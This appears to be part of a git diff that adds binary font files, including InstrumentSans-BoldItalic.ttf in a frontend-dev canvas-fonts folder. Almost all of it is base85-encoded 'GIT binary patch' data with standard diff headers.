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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSans-BoldItalic.ttf b/skills/frontend-dev/canvas-fonts/InstrumentSans-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..122b27305b6de88f6946bb171c055bd428124fc3 GIT binary patch literal 70004 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 